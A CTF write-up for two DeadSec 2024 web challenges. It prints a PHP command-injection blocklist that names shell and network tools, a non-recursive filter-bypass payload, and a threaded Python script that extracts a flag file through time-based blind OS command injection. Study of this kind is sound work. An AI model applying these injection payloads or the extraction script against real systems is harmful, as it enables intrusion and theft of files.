DeadSec CTF 2024 Web Write-ups
Bing2
Files: Bing2
Simple command injection filter bypass, the code will remove all the following characters/words
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
$substitutions = array(
' ' => '',
'&' => '',
'&&' => '',
'(' => '',
')' => '',
'-' => '',
'`' => '',
'|' => '',
'||' => '',
'; ' => '',
'%' => '',
'~' => '',
'<' => '',
'>' => '',
'/ ' => '',
'\\' => '',
'ls' => '',
'cat' => '',
'less' => '',
'tail' => '',
'more' => '',
'whoami' => '',
'pwd' => '',
'busybox' => '',
'nc' => '',
'exec' => '',
'sh' => '',
'bash' => '',
'php' => '',
'perl' => '',
'python' => '',
'ruby' => '',
'java' => '',
'javac' => '',
'gcc' => '',
'g++' => '',
'make' => '',
'cmake' => '',
'nmap' => '',
'wget' => '',
'curl' => '',
'scp' => '',
'ssh' => '',
'ftp' => '',
'telnet' => '',
'dig' => '',
'nslookup' => '',
'iptables' => '',
'chmod' => '',
'chown' => '',
'chgrp' => '',
'kill' => '',
'killall' => '',
'service' => '',
'systemctl' => '',
'sudo' => '',
'su' => '',
'flag' => '',
);
This can be bypassed using this payload, because the code is not replacing them recursively:
1
Submit=1&ip=127.0.0.1++${IFS}+%3b+ccatat+${IFS}+/fflaglag.txt
Bing_revenge
Files: Bing_revenge
Time-based Blind OS command injection
Solution script that will take 5000 years to finish, can be optimized but wont be accurate as we are depending on time delays to confirm the, so with high number of concurrent requests this will increase the time delay.
after getting the possible flag, it can be checked using the checker()
function.
1
DEAD{f93efeba-0d78-4130-9114-783f2cd337e3}
Solution script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
url = 'https://509daf15f4f551f00d7ce4ef.deadsec.quest/flag'
MAX_SLEEP = 2
THREADS = 8
def run(cmd):
return requests.post(url, data=dict(host=f";python3 -c 'from time import sleep;x=1 if ({cmd}) else sleep({MAX_SLEEP})'".replace('FLAG', 'open("/flag.txt").read()')))
true = lambda resp: resp.elapsed.total_seconds() < MAX_SLEEP
def binary_search(payload = 'True', pos = 5):
direction = 1
step = 16
# prevent dead end
tries = 0
while True and tries < 100:
check = f'({payload}){">=" if direction == 1 else "<="}{pos}'
resp = run(check)
#print(pos, step)
if step <= 2 and true(run(f'({payload}) == {pos}')):
return pos
if not true(resp):
step = step//2 or 1
direction *= -1
pos += direction*step
tries += 1
raise Exception("Binary search failed.")
def find_flag_length() -> int:
return binary_search('len(FLAG)')
def find_flag():
length = find_flag_length()-1
flag = ['*']*length
print('Found flag length: ', length)
print(''.join(flag), end='')
with ThreadPoolExecutor(max_workers=THREADS) as executor:
futures = {executor.submit(binary_search, f'ord(FLAG[{i}])', 97): i for i in range(length)}
for f in as_completed(futures.keys()):
c = chr(f.result())
flag[futures[f]] = c
print('\b'*length, end='', flush=True)
print(''.join(flag), end='', flush=True)
print('\nFlag:', flag := ''.join(flag))
return flag
find_flag()
This post is licensed under
CC BY 4.0
by the author.